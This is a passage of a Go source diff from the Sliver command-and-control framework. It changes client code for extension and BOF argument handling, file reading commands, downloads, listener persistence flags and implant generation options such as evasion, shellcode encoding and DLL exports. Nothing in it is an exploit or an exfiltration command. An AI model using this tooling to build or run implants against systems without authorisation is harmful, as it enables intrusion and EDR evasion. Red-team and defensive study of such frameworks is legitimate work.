defaultVal = fmt.Sprintf("%v", argDef.Default)
}
err := argsBuffer.AddString(defaultVal)
if err != nil {
return fmt.Errorf("failed to add default string: %v", err)
}
fmt.Printf(" -%s:%s (default)\n", argDef.Name, defaultVal)
case "wstring":
// Handle wstring default
defaultVal, ok := argDef.Default.(string)
if !ok {
defaultVal = fmt.Sprintf("%v", argDef.Default)
}
err := argsBuffer.AddWString(defaultVal)
if err != nil {
return fmt.Errorf("failed to add default wstring: %v", err)
}
fmt.Printf(" -%s:%s (default)\n", argDef.Name, defaultVal)
case "int", "integer":
// Handle int default - could be number or string in JSON
var defaultInt uint32
// Try as number first
numVal, ok := argDef.Default.(float64) // JSON unmarshals numbers as float64
if ok {
defaultInt = uint32(numVal)
} else {
// Try as string
strVal, ok := argDef.Default.(string)
if ok {
val, err := strconv.ParseUint(strVal, 10, 32)
if err == nil {
defaultInt = uint32(val)
}
}
}
err := argsBuffer.AddInt(defaultInt)
if err != nil {
return fmt.Errorf("failed to add default int: %v", err)
}
fmt.Printf(" -%s:%d (default)\n", argDef.Name, defaultInt)
case "short":
// Handle short default - could be number or string in JSON
var defaultShort uint16
// Try as number first
numVal, ok := argDef.Default.(float64) // JSON unmarshals numbers as float64
if ok {
defaultShort = uint16(numVal)
} else {
// Try as string
strVal, ok := argDef.Default.(string)
if ok {
val, err := strconv.ParseUint(strVal, 10, 16)
if err == nil {
defaultShort = uint16(val)
}
}
}
err := argsBuffer.AddShort(defaultShort)
if err != nil {
return fmt.Errorf("failed to add default short: %v", err)
}
fmt.Printf(" -%s:%d (default)\n", argDef.Name, defaultShort)
case "file":
// Default for file doesn't really make sense, but handle for completeness
err := argsBuffer.AddData([]byte{})
if err != nil {
return fmt.Errorf("failed to add default file data: %v", err)
}
fmt.Printf(" -%s:<empty> (default)\n", argDef.Name)
}
} else {
// No default specified in manifest, use type-appropriate zero values
switch argDef.Type {
case "string":
err := argsBuffer.AddString("")
if err != nil {
return fmt.Errorf("failed to add default string: %v", err)
}
fmt.Printf(" -%s:<empty> (default)\n", argDef.Name)
case "wstring":
err := argsBuffer.AddWString("")
if err != nil {
return fmt.Errorf("failed to add default wstring: %v", err)
}
fmt.Printf(" -%s:<empty> (default)\n", argDef.Name)
case "int", "integer":
err := argsBuffer.AddInt(0)
if err != nil {
return fmt.Errorf("failed to add default int: %v", err)
}
fmt.Printf(" -%s:0 (default)\n", argDef.Name)
case "short":
err := argsBuffer.AddShort(0)
if err != nil {
return fmt.Errorf("failed to add default short: %v", err)
}
fmt.Printf(" -%s:0 (default)\n", argDef.Name)
case "file":
// Empty data for optional file
err := argsBuffer.AddData([]byte{})
if err != nil {
return fmt.Errorf("failed to add default file data: %v", err)
}
fmt.Printf(" -%s:<empty> (default)\n", argDef.Name)
}
}
return nil
}
// bofDebugPrintParsedFlags prints information about the parsed flags
func bofDebugPrintParsedFlags(fs *flag.FlagSet, ext *ExtCommand,
stringValues map[string]*string,
wstringValues map[string]*string,
intValues map[string]*int,
shortValues map[string]*int,
fileValues map[string]*string) {
fmt.Println("parsed flags:")
for _, arg := range ext.Arguments {
flagName := arg.Name
wasProvided := bofFlagWasProvided(fs, flagName)
if wasProvided {
switch arg.Type {
case "string":
fmt.Printf(" -%s:%s\n", flagName, *stringValues[flagName])
case "wstring":
fmt.Printf(" -%s:%s\n", flagName, *wstringValues[flagName])
case "int", "integer":
fmt.Printf(" -%s:%d\n", flagName, *intValues[flagName])
case "short":
fmt.Printf(" -%s:%d\n", flagName, *shortValues[flagName])
case "file":
fmt.Printf(" -%s:%s\n", flagName, *fileValues[flagName])
}
}
}
}
// bofFlagWasProvided checks if a flag was explicitly set
func bofFlagWasProvided(fs *flag.FlagSet, name string) bool {
provided := false
fs.Visit(func(f *flag.Flag) {
if f.Name == name {
provided = true
}
})
return provided
}
+11 -32
View File
@@ -1,28 +1,34 @@
package extensions
import (
"github.com/bishopfox/sliver/client/command/flags"
"github.com/bishopfox/sliver/client/command/help"
"github.com/bishopfox/sliver/client/command/use"
"github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/rsteube/carapace"
"github.com/spf13/cobra"
"github.com/spf13/pflag"
)
// Commands returns the 'extensions' command and its subcommands.
// Commands returns the “ command and its subcommands.
func Commands(con *console.SliverClient) []*cobra.Command {
extensionCmd := &cobra.Command{
Use: consts.ExtensionsStr,
Short: "Manage extensions",
Long: help.GetHelpFor([]string{consts.ExtensionsStr}),
GroupID: consts.GenericHelpGroup,
GroupID: consts.ExecutionHelpGroup,
Run: func(cmd *cobra.Command, _ []string) {
ExtensionsCmd(cmd, con)
},
}
extensionCmd.AddCommand(&cobra.Command{
Use: consts.ListStr,
Short: "List extensions loaded in the current session or beacon",
Long: help.GetHelpFor([]string{consts.ExtensionsStr, consts.ListStr}),
Run: func(cmd *cobra.Command, args []string) {
ExtensionsListCmd(cmd, con, args)
},
})
extensionLoadCmd := &cobra.Command{
Use: consts.LoadStr,
Short: "Temporarily load an extension from a local directory",
@@ -60,30 +66,3 @@ func Commands(con *console.SliverClient) []*cobra.Command {
return []*cobra.Command{extensionCmd}
}
func SliverCommands(con *console.SliverClient) []*cobra.Command {
extensionCmd := &cobra.Command{
Use: consts.ExtensionsStr,
Short: "Manage extensions",
Long: help.GetHelpFor([]string{consts.ExtensionsStr}),
GroupID: consts.InfoHelpGroup,
Annotations: flags.RestrictTargets(consts.SessionCmdsFilter), // restrict to session targets since we cannot `list` "loaded" extensions from beacon mode
}
listCmd := &cobra.Command{
Use: consts.ListStr,
Short: "List extensions loaded in the current session",
Long: help.GetHelpFor([]string{consts.ExtensionsStr, consts.ListStr}),
Run: func(cmd *cobra.Command, args []string) {
ExtensionsListCmd(cmd, con, args)
},
}
flags.Bind("use", false, listCmd, func(f *pflag.FlagSet) {
f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
})
extensionCmd.AddCommand(listCmd)
carapace.Gen(listCmd).PositionalCompletion(use.BeaconAndSessionIDCompleter(con))
return []*cobra.Command{extensionCmd}
}
+3 -48
View File
@@ -22,7 +22,6 @@ import (
"encoding/json"
"fmt"
"os"
"path/filepath"
"strings"
"github.com/bishopfox/sliver/client/assets"
@@ -36,7 +35,7 @@ import (
// ExtensionsCmd - List information about installed extensions.
func ExtensionsCmd(cmd *cobra.Command, con *console.SliverClient) {
if len(GetAllExtensionManifests()) > 0 {
if 0 < len(getInstalledManifests()) {
PrintExtensions(con)
} else {
con.PrintInfof("No extensions installed, use the 'armory' command to automatically install some\n")
@@ -68,12 +67,8 @@ func PrintExtensions(con *console.SliverClient) {
for _, extension := range loadedExtensions {
//for _, extension := range extensionm.ExtCommand {
installed := ""
//if _, ok := installedManifests[extension.Manifest.Name]; ok {
for _, installedManifest := range installedManifests {
if extension.Manifest.RootPath == installedManifest.RootPath {
installed = "✅"
break
}
if _, ok := installedManifests[extension.Manifest.Name]; ok {
installed = "✅"
}
tw.AppendRow(table.Row{
extension.Manifest.Name,
@@ -102,9 +97,6 @@ func extensionPlatforms(extension *ExtCommand) []string {
return keys
}
// getInstalledManifests - Returns a mapping of extension names to their parsed manifest objects.
// Reads all installed extension manifests from disk, ignoring any that cannot be read or parsed.
// The returned manifests have their RootPath set to the directory containing their manifest file.
func getInstalledManifests() map[string]*ExtensionManifest {
manifestPaths := assets.GetInstalledExtensionManifests()
installedManifests := map[string]*ExtensionManifest{}
@@ -118,48 +110,11 @@ func getInstalledManifests() map[string]*ExtensionManifest {
if err != nil {
continue
}
manifest.RootPath = filepath.Dir(manifestPath)
installedManifests[manifest.Name] = manifest
}
return installedManifests
}
// getTemporarilyLoadedManifests returns a map of extension manifests that are currently
// loaded into memory but not permanently installed. The map is keyed by the manifest's
// Name field.
func getTemporarilyLoadedManifests() map[string]*ExtensionManifest {
tempManifests := map[string]*ExtensionManifest{}
for name, manifest := range loadedManifests {
tempManifests[name] = manifest
}
return tempManifests
}
// GetAllExtensionManifests returns a combined list of manifest file paths from
// both installed and temporarily loaded extensions
func GetAllExtensionManifests() []string {
manifestPaths := make(map[string]struct{}) // use map for deduplication
// Add installed manifests
for _, manifest := range getInstalledManifests() {
manifestPath := filepath.Join(manifest.RootPath, ManifestFileName)
manifestPaths[manifestPath] = struct{}{}
}
// Add temporarily loaded manifests
for _, manifest := range getTemporarilyLoadedManifests() {
manifestPath := filepath.Join(manifest.RootPath, ManifestFileName)
manifestPaths[manifestPath] = struct{}{}
}
// Convert to slice
paths := make([]string, 0, len(manifestPaths))
for path := range manifestPaths {
paths = append(paths, path)
}
return paths
}
// ExtensionsCommandNameCompleter - Completer for installed extensions command names.
func ExtensionsCommandNameCompleter(con *console.SliverClient) carapace.Action {
return carapace.ActionCallback(func(c carapace.Context) carapace.Action {
+2 -24
View File
@@ -43,22 +43,7 @@ func ExtensionsInstallCmd(cmd *cobra.Command, con *console.SliverClient, args []
InstallFromDir(extLocalPath, true, con, strings.HasSuffix(extLocalPath, ".tar.gz"))
}
// InstallFromDir installs a Sliver extension from either a local directory or gzipped archive.
// It reads the extension manifest, validates it, and copies all required files to the extensions
// directory. If an extension with the same name already exists, it can optionally prompt for
// overwrite confirmation.
//
// Parameters:
// - extLocalPath: Path to the source directory or gzipped archive containing the extension
// - promptToOverwrite: If true, prompts for confirmation before overwriting existing extension
// - con: Sliver console client for displaying status and error messages
// - isGz: Whether the source is a gzipped archive (true) or directory (false)
//
// The function will return early with error messages printed to console if:
// - The manifest cannot be read or parsed
// - Required directories cannot be created
// - File copy operations fail
// - User declines overwrite when prompted
// Install an extension from a directory
func InstallFromDir(extLocalPath string, promptToOverwrite bool, con *console.SliverClient, isGz bool) {
var manifestData []byte
var err error
@@ -79,15 +64,8 @@ func InstallFromDir(extLocalPath string, promptToOverwrite bool, con *console.Sl
return
}
// Use package name if available, otherwise use extension name
// (Note, for v1 manifests this will actually be command_name)
packageID := manifestF.Name
if manifestF.PackageName != "" {
packageID = manifestF.PackageName
}
//create repo path
minstallPath := filepath.Join(assets.GetExtensionsDir(), filepath.Base(packageID))
minstallPath := filepath.Join(assets.GetExtensionsDir(), filepath.Base(manifestF.Name))
if _, err := os.Stat(minstallPath); !os.IsNotExist(err) {
if promptToOverwrite {
con.PrintInfof("Extension '%s' already exists", manifestF.Name)
+5 -106
View File
@@ -20,111 +20,12 @@ package extensions
import (
"context"
"crypto/sha256"
"encoding/hex"
"os"
"path/filepath"
"slices"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/jedib0t/go-pretty/v6/table"
"github.com/spf13/cobra"
)
// ExtensionMatch holds the details of a matched extension
type ExtensionMatch struct {
CommandName string
Hash string
BinPath string
}
// FindExtensionMatches searches through loaded extensions for matching hashes
// Returns a map of hash to ExtensionMatch (match will be nil if hash wasn't found)
func FindExtensionMatches(targetHashes []string) map[string]*ExtensionMatch {
results := make(map[string]*ExtensionMatch)
pathCache := make(map[string]*ExtensionMatch)
// Initialize results map with all target hashes
for _, hash := range targetHashes {
results[hash] = nil
}
// Search for matches
for _, extCmd := range loadedExtensions {
if extCmd == nil || len(extCmd.Files) == 0 {
continue
}
for _, file := range extCmd.Files {
fullPath := filepath.Join(extCmd.Manifest.RootPath, file.Path)
// Check cache first
var match *ExtensionMatch
if cached, exists := pathCache[fullPath]; exists {
match = cached
} else {
// Calculate hash if not cached
fileData, err := os.ReadFile(fullPath)
if err != nil {
continue
}
hashBytes := sha256.Sum256(fileData)
fileHash := hex.EncodeToString(hashBytes[:])
match = &ExtensionMatch{
CommandName: extCmd.CommandName,
Hash: fileHash,
BinPath: fullPath,
}
pathCache[fullPath] = match
}
if slices.Contains(targetHashes, match.Hash) {
results[match.Hash] = match
}
}
}
return results
}
// PrintExtensionMatches prints the extension matches in a formatted table
func PrintExtensionMatches(matches map[string]*ExtensionMatch, con *console.SliverClient) {
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
tw.AppendHeader(table.Row{
"Command Name",
"Sha256 Hash",
"Bin Path",
})
tw.SortBy([]table.SortBy{
{Name: "Command Name", Mode: table.Asc},
})
for hash, match := range matches {
if match != nil {
tw.AppendRow(table.Row{
match.CommandName,
hash,
match.BinPath,
})
} else {
tw.AppendRow(table.Row{
"",
hash,
"",
})
}
}
con.Println(tw.Render())
}
// ExtensionsListCmd - List all extension loaded on the active session/beacon.
func ExtensionsListCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
session := con.ActiveTarget.GetSessionInteractive()
@@ -144,12 +45,10 @@ func ExtensionsListCmd(cmd *cobra.Command, con *console.SliverClient, args []str
con.PrintErrorf("%s\n", extList.Response.Err)
return
}
if len(extList.Names) == 0 {
return
if len(extList.Names) > 0 {
con.PrintInfof("Loaded extensions:\n")
for _, ext := range extList.Names {
con.Printf("- %s\n", ext)
}
}
con.PrintInfof("Loaded extensions:\n\n")
matches := FindExtensionMatches(extList.Names)
PrintExtensionMatches(matches, con)
}
+19 -45
View File
@@ -80,7 +80,6 @@ type ExtensionManifest_ struct {
type ExtensionManifest struct {
Name string `json:"name"`
PackageName string `json:"package_name"`
Version string `json:"version"`
ExtensionAuthor string `json:"extension_author"`
OriginalAuthor string `json:"original_author"`
@@ -116,24 +115,17 @@ type extensionFile struct {
}
type extensionArgument struct {
Name string `json:"name"`
Type string `json:"type"`
Desc string `json:"desc"`
Optional bool `json:"optional"`
Default interface{} `json:"default,omitempty"`
Name string `json:"name"`
Type string `json:"type"`
Desc string `json:"desc"`
Optional bool `json:"optional"`
}
func (e *ExtCommand) getFileForTarget(targetOS string, targetArch string) (string, error) {
filePath := ""
for _, extFile := range e.Files {
if targetOS == extFile.OS && targetArch == extFile.Arch {
if e.Manifest.RootPath != "" {
// Use RootPath for temporarily loaded extensions
filePath = path.Join(e.Manifest.RootPath, extFile.Path)
} else {
// Fall back to extensions dir for installed extensions
filePath = path.Join(assets.GetExtensionsDir(), e.Manifest.Name, extFile.Path)
}
filePath = path.Join(assets.GetExtensionsDir(), e.Manifest.Name, extFile.Path)
break
}
}
@@ -148,19 +140,10 @@ func (e *ExtCommand) getFileForTarget(targetOS string, targetArch string) (strin
return filePath, nil
}
// ExtensionLoadCmd - Temporarily installs an extension from a local directory into the client.
// The extension must contain a valid manifest file. If commands from the extension
// already exist, the user will be prompted to overwrite them.
// ExtensionLoadCmd - Load extension command.
func ExtensionLoadCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
dirPath := args[0]
// Add directory check
fileInfo, err := os.Stat(dirPath)
if err != nil || !fileInfo.IsDir() {
con.PrintErrorf("Path is not a directory: %s\n", dirPath)
return
}
// dirPath := ctx.Args.String("dir-path")
manifest, err := LoadExtensionManifest(filepath.Join(dirPath, ManifestFileName))
if err != nil {
return
@@ -182,11 +165,7 @@ func ExtensionLoadCmd(cmd *cobra.Command, con *console.SliverClient, args []stri
}
}
// LoadExtensionManifest loads and parses an extension manifest file from the given path.
// It registers each command defined in the manifest into the loadedExtensions map
// and registers the complete manifest into loadedManifests. A single manifest may
// contain multiple extension commands. The manifest's RootPath is set to its containing
// directory. Returns the parsed manifest and any errors encountered.
// LoadExtensionManifest - Parse extension files.
func LoadExtensionManifest(manifestPath string) (*ExtensionManifest, error) {
data, err := os.ReadFile(manifestPath)
if err != nil {
@@ -300,13 +279,7 @@ func validManifest(manifest *ExtensionManifest) error {
return nil
}
// ExtensionRegisterCommand adds an extension command to the cobra command system.
// It validates the extension's arguments, updates the loadedExtensions map, and
// creates a cobra.Command with proper usage text, help documentation, and argument
// handling. The command is added as a subcommand to the provided parent cobra.Command.
// Arguments are displayed in the help text as uppercase, with optional args in square
// brackets. The help text includes sections for command usage, description, and detailed
// argument specifications.
// ExtensionRegisterCommand - Register a new extension command
func ExtensionRegisterCommand(extCmd *ExtCommand, cmd *cobra.Command, con *console.SliverClient) {
if errInvalidArgs := checkExtensionArgs(extCmd); errInvalidArgs != nil {
con.PrintErrorf(errInvalidArgs.Error())
@@ -314,6 +287,7 @@ func ExtensionRegisterCommand(extCmd *ExtCommand, cmd *cobra.Command, con *conso
}
loadedExtensions[extCmd.CommandName] = extCmd
//helpMsg := extCmd.Help
usage := strings.Builder{}
usage.WriteString(extCmd.CommandName)
@@ -365,9 +339,9 @@ func ExtensionRegisterCommand(extCmd *ExtCommand, cmd *cobra.Command, con *conso
// Command
extensionCmd := &cobra.Command{
Use: usage.String(),
Short: extCmd.Help,
Long: help.FormatHelpTmpl(longHelp.String()),
Use: usage.String(), //extCmd.CommandName,
//Short: helpMsg.String(), doesn't appear to be used?
Long: help.FormatHelpTmpl(longHelp.String()),
Run: func(cmd *cobra.Command, args []string) {
runExtensionCmd(cmd, con, args)
},
@@ -585,11 +559,11 @@ func runExtensionCmd(cmd *cobra.Command, con *console.SliverClient, args []strin
extName = ext.DependsOn
entryPoint = loadedExtensions[extName].Entrypoint // should exist at this point
} else {
// Regular DLL - Just join the arguments with spaces
if len(args) > 0 {
extensionArgs = []byte(strings.Join(args, " "))
} else {
extensionArgs = []byte{}
// Regular DLL
extensionArgs, err = getExtArgs(cmd, args, binPath, ext)
if err != nil {
con.PrintErrorf("ext args error: %s\n", err)
return
}
extName = ext.CommandName
entryPoint = ext.Entrypoint
@@ -797,7 +771,7 @@ func getBOFArgs(cmd *cobra.Command, args []string, binPath string, ext *ExtComma
if err != nil {
return nil, err
}
parsedArgs, err := ParseFlagArgumentsToBuffer(cmd, args, binPath, ext)
parsedArgs, err := getExtArgs(cmd, args, binPath, ext)
if err != nil {
return nil, err
}
+3 -27
View File
@@ -23,7 +23,6 @@ import (
"fmt"
"os"
"path/filepath"
"strings"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/assets"
@@ -87,35 +86,12 @@ func RemoveExtensionByManifestName(manifestName string, con *console.SliverClien
return false, errors.New("command name is required")
}
if man, ok := loadedManifests[manifestName]; ok {
// Found the manifest
var extPath string
if man.RootPath != "" {
// Use RootPath for temporarily loaded extensions
extPath = man.RootPath
} else {
// Fall back to extensions dir for installed extensions
extPath = filepath.Join(assets.GetExtensionsDir(), filepath.Base(manifestName))
}
//foudn the manifest
//delet it
extPath := filepath.Join(assets.GetExtensionsDir(), filepath.Base(manifestName))
if _, err := os.Stat(extPath); os.IsNotExist(err) {
return true, nil
}
// If path is outside extensions directory, prompt for confirmation
if !strings.HasPrefix(extPath, assets.GetExtensionsDir()) {
confirm := false
prompt := &survey.Confirm{Message: fmt.Sprintf("Remove '%s' extension directory from filesystem?", manifestName)}
survey.AskOne(prompt, &confirm)
if !confirm {
// Skip the forceRemoveAll but continue with the rest
delete(loadedManifests, manifestName)
for _, cmd := range man.ExtCommand {
delete(loadedExtensions, cmd.CommandName)
}
return true, nil
}
}
forceRemoveAll(extPath)
delete(loadedManifests, manifestName)
for _, cmd := range man.ExtCommand {
+3 -7
View File
@@ -23,7 +23,6 @@ import (
"encoding/hex"
"fmt"
"os"
"strings"
"github.com/alecthomas/chroma/formatters"
"github.com/alecthomas/chroma/lexers"
@@ -73,16 +72,16 @@ func CatCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintCat(filePath, download, cmd, con)
PrintCat(download, cmd, con)
})
con.PrintAsyncResponse(download.Response)
} else {
PrintCat(filePath, download, cmd, con)
PrintCat(download, cmd, con)
}
}
// PrintCat - Print the download to stdout.
func PrintCat(originalFileName string, download *sliverpb.Download, cmd *cobra.Command, con *console.SliverClient) {
func PrintCat(download *sliverpb.Download, cmd *cobra.Command, con *console.SliverClient) {
var (
lootDownload bool = true
err error
@@ -109,9 +108,6 @@ func PrintCat(originalFileName string, download *sliverpb.Download, cmd *cobra.C
con.Printf("\n")
}
}
if !strings.Contains(download.Path, originalFileName) {
con.PrintInfof("Supplied pattern %s matched file %s\n\n", originalFileName, download.Path)
}
if color, _ := cmd.Flags().GetBool("colorize-output"); color {
if err = colorize(download); err != nil {
con.Println(string(download.Data))
+2 -2
View File
@@ -295,7 +295,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
f.StringP("file-type", "F", "", "force a specific file type (binary/text) if looting (optional)")
f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
f.Int64P("bytes", "b", 0, "Grab the first number of bytes from the file")
f.Int64P("lines", "l", 10, "Grab the first number of lines from the file")
f.Int64P("lines", "l", 0, "Grab the first number of lines from the file")
})
carapace.Gen(headCmd).PositionalCompletion(carapace.ActionValues().Usage("path to the file to print"))
@@ -322,7 +322,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
f.StringP("file-type", "F", "", "force a specific file type (binary/text) if looting (optional)")
f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
f.Int64P("bytes", "b", 0, "Grab the last number of bytes from the file")
f.Int64P("lines", "l", 10, "Grab the last number of lines from the file")
f.Int64P("lines", "l", 0, "Grab the last number of lines from the file")
})
carapace.Gen(tailCmd).PositionalCompletion(carapace.ActionValues().Usage("path to the file to print"))
+4 -10
View File
@@ -97,7 +97,9 @@ func prettifyDownloadName(path string) string {
filteredString = multipleUnderscoreRegex.ReplaceAllString(filteredString, "_")
// If there is an underscore at the front of the filename, strip that off
filteredString, _ = strings.CutPrefix(filteredString, "_")
if strings.HasPrefix(filteredString, "_") {
filteredString = filteredString[1:]
}
return filteredString
}
@@ -116,15 +118,7 @@ func HandleDownloadResponse(download *sliverpb.Download, cmd *cobra.Command, arg
}
}
// Use download.Path because a glob matching a single file on the remote will not have the
// correct file name - the filename will contain the globs if we use the path from the user
// On non-Windows systems, filepath.Base will not see backslashes, so we will replace them
// on systems that do not use backslashes as path separators
remotePath := download.Path
if strings.Contains(download.Path, "\\") && string(os.PathSeparator) != "\\" {
remotePath = strings.ReplaceAll(download.Path, "\\", "/")
}
remotePath := args[0]
var localPath string
if len(args) == 1 {
localPath = "."
+6 -3
View File
@@ -63,7 +63,7 @@ func HeadCmd(cmd *cobra.Command, con *console.SliverClient, args []string, head
} else {
operationName = "bytes"
}
} else {
} else if cmd.Flags().Changed("lines") {
fetchBytes = false
fetchSize, _ = cmd.Flags().GetInt64("lines")
if fetchSize < 0 {
@@ -76,6 +76,9 @@ func HeadCmd(cmd *cobra.Command, con *console.SliverClient, args []string, head
} else {
operationName = "lines"
}
} else {
con.PrintErrorf("A number of bytes or a number of lines must be specified.")
return
}
ctrl := make(chan bool)
@@ -115,10 +118,10 @@ func HeadCmd(cmd *cobra.Command, con *console.SliverClient, args []string, head
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintCat(filePath, download, cmd, con)
PrintCat(download, cmd, con)
})
con.PrintAsyncResponse(download.Response)
} else {
PrintCat(filePath, download, cmd, con)
PrintCat(download, cmd, con)
}
}
+1 -4
View File
@@ -143,8 +143,6 @@ func Commands(con *console.SliverClient) []*cobra.Command {
flags.Bind("profiles", false, profilesGenerateCmd, func(f *pflag.FlagSet) {
f.StringP("save", "s", "", "directory/file to the binary to")
f.BoolP("disable-sgn", "G", false, "disable shikata ga nai shellcode encoder")
f.StringP("name", "n", "", "Implant name")
})
flags.BindFlagCompletions(profilesGenerateCmd, func(comp *carapace.ActionMap) {
(*comp)["save"] = carapace.ActionFiles().Tag("directory/file to save implant")
@@ -309,7 +307,7 @@ func coreImplantFlags(name string, cmd *cobra.Command) {
f.BoolP("evasion", "e", false, "enable evasion features (e.g. overwrite user space hooks)")
f.BoolP("skip-symbols", "l", false, "skip symbol obfuscation")
f.BoolP("disable-sgn", "G", false, "disable shikata ga nai shellcode encoder")
f.StringP("exports", "v", "StartW,VoidFunc,DllInstall,DllRegisterServer,DllUnregisterServer", "comma separated list of exports to include in the binary")
f.StringP("canary", "c", "", "canary domain(s)")
// C2 channels
@@ -355,7 +353,6 @@ func coreImplantFlagCompletions(cmd *cobra.Command, con *console.SliverClient) {
(*comp)["format"] = FormatCompleter()
(*comp)["save"] = carapace.ActionFiles().Tag("directory/file to save implant")
(*comp)["traffic-encoders"] = TrafficEncodersCompleter(con).UniqueList(",")
(*comp)["c2profile"] = HTTPC2Completer(con)
})
}
+1 -1
View File
@@ -32,7 +32,7 @@ func GenerateBeaconCmd(cmd *cobra.Command, con *console.SliverClient, args []str
save, _ = os.Getwd()
}
if external, _ := cmd.Flags().GetBool("external-builder"); !external {
compile(name, config, save, con)
compile(config, save, con)
} else {
externalBuild(name, config, save, con)
}
+2 -15
View File
@@ -98,7 +98,7 @@ func GenerateCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
save, _ = os.Getwd()
}
if external, _ := cmd.Flags().GetBool("external-builder"); !external {
compile(name, config, save, con)
compile(config, save, con)
} else {
_, err := externalBuild(name, config, save, con)
if err != nil {
@@ -290,15 +290,6 @@ func parseCompileFlags(cmd *cobra.Command, con *console.SliverClient) (string, *
isShellcode := false
sgnEnabled := false
var exports []string
exportsArg, _ := cmd.Flags().GetString("exports")
if exportsArg == "" {
con.PrintErrorf("Shared libraries need at least one export\n")
return "", nil
} else {
exports = strings.Split(exportsArg, ",")
}
format, _ := cmd.Flags().GetString("format")
runAtLoad := false
var configFormat clientpb.OutputFormat
@@ -373,8 +364,6 @@ func parseCompileFlags(cmd *cobra.Command, con *console.SliverClient) (string, *
c2Profile = consts.DefaultC2Profile
}
// exports if its a shared library
config := &clientpb.ImplantConfig{
GOOS: targetOS,
GOARCH: targetArch,
@@ -406,7 +395,6 @@ func parseCompileFlags(cmd *cobra.Command, con *console.SliverClient) (string, *
IsSharedLib: isSharedLib,
IsService: isService,
IsShellcode: isShellcode,
Exports: exports,
RunAtLoad: runAtLoad,
NetGoEnabled: netGo,
@@ -917,7 +905,7 @@ func externalBuild(name string, config *clientpb.ImplantConfig, save string, con
return nil, nil
}
func compile(name string, config *clientpb.ImplantConfig, save string, con *console.SliverClient) (*commonpb.File, error) {
func compile(config *clientpb.ImplantConfig, save string, con *console.SliverClient) (*commonpb.File, error) {
if config.IsBeacon {
interval := time.Duration(config.BeaconInterval)
con.PrintInfof("Generating new %s/%s beacon implant binary (%v)\n", config.GOOS, config.GOARCH, interval)
@@ -935,7 +923,6 @@ func compile(name string, config *clientpb.ImplantConfig, save string, con *cons
con.SpinUntil("Compiling, please wait ...", ctrl)
generated, err := con.Rpc.Generate(context.Background(), &clientpb.GenerateReq{
Name: name,
Config: config,
})
ctrl <- true
+1 -3
View File
@@ -36,8 +36,6 @@ func ProfilesGenerateCmd(cmd *cobra.Command, con *console.SliverClient, args []s
con.PrintErrorf("No profile name specified\n")
return
}
implantName, _ := cmd.Flags().GetString("name")
save, _ := cmd.Flags().GetString("save")
if save == "" {
save, _ = os.Getwd()
@@ -48,7 +46,7 @@ func ProfilesGenerateCmd(cmd *cobra.Command, con *console.SliverClient, args []s
if SGNDisabled, _ := cmd.Flags().GetBool("disable-sgn"); SGNDisabled {
profile.Config.SGNEnabled = !SGNDisabled
}
_, err := compile(implantName, profile.Config, save, con)
_, err := compile(profile.Config, save, con)
if err != nil {
return
}
+6
View File
@@ -48,6 +48,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
flags.Bind("mTLS listener", false, mtlsCmd, func(f *pflag.FlagSet) {
f.StringP("lhost", "L", "", "interface to bind server to")
f.Uint32P("lport", "l", generate.DefaultMTLSLPort, "tcp listen port")
f.BoolP("persistent", "p", false, "make persistent across restarts")
})
// Wireguard
@@ -65,6 +66,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
f.Uint32P("lport", "l", generate.DefaultWGLPort, "udp listen port")
f.Uint32P("nport", "n", generate.DefaultWGNPort, "virtual tun interface listen port")
f.Uint32P("key-port", "x", generate.DefaultWGKeyExPort, "virtual tun interface key exchange port")
f.BoolP("persistent", "p", false, "make persistent across restarts")
})
// DNS
@@ -83,6 +85,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
f.StringP("lhost", "L", "", "interface to bind server to")
f.Uint32P("lport", "l", generate.DefaultDNSLPort, "udp listen port")
f.BoolP("disable-otp", "D", false, "disable otp authentication")
f.BoolP("persistent", "p", false, "make persistent across restarts")
})
// HTTP
@@ -103,6 +106,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
f.BoolP("disable-otp", "D", false, "disable otp authentication")
f.StringP("long-poll-timeout", "T", "1s", "server-side long poll timeout")
f.StringP("long-poll-jitter", "J", "2s", "server-side long poll jitter")
f.BoolP("persistent", "p", false, "make persistent across restarts")
})
// HTTPS
@@ -128,6 +132,8 @@ func Commands(con *console.SliverClient) []*cobra.Command {
f.StringP("key", "k", "", "PEM encoded private key file")
f.BoolP("lets-encrypt", "e", false, "attempt to provision a let's encrypt certificate")
f.BoolP("disable-randomized-jarm", "E", false, "disable randomized jarm fingerprints")
f.BoolP("persistent", "p", false, "make persistent across restarts")
})
flags.BindFlagCompletions(httpsCmd, func(comp *carapace.ActionMap) {
(*comp)["cert"] = carapace.ActionFiles().Tag("certificate file")
+2 -3
View File
@@ -25,12 +25,11 @@ func Commands(con *console.SliverClient) []*cobra.Command {
flags.Bind("", false, psCmd, func(f *pflag.FlagSet) {
f.IntP("pid", "p", -1, "filter based on pid")
f.StringP("exe", "e", "", "filter based on executable name")
f.StringP("owner", "o", "", "filter based on owner, must request full process metadata (-f)")
f.BoolP("print-cmdline", "c", false, "print command line arguments, must request full process metadata (-f)")
f.StringP("owner", "o", "", "filter based on owner")
f.BoolP("print-cmdline", "c", false, "print command line arguments")
f.BoolP("overflow", "O", false, "overflow terminal width (display truncated rows)")
f.IntP("skip-pages", "S", 0, "skip the first n page(s)")
f.BoolP("tree", "T", false, "print process tree")
f.BoolP("full", "f", false, "show full process metadata (owner, architecture, session information) -- may trigger EDR")
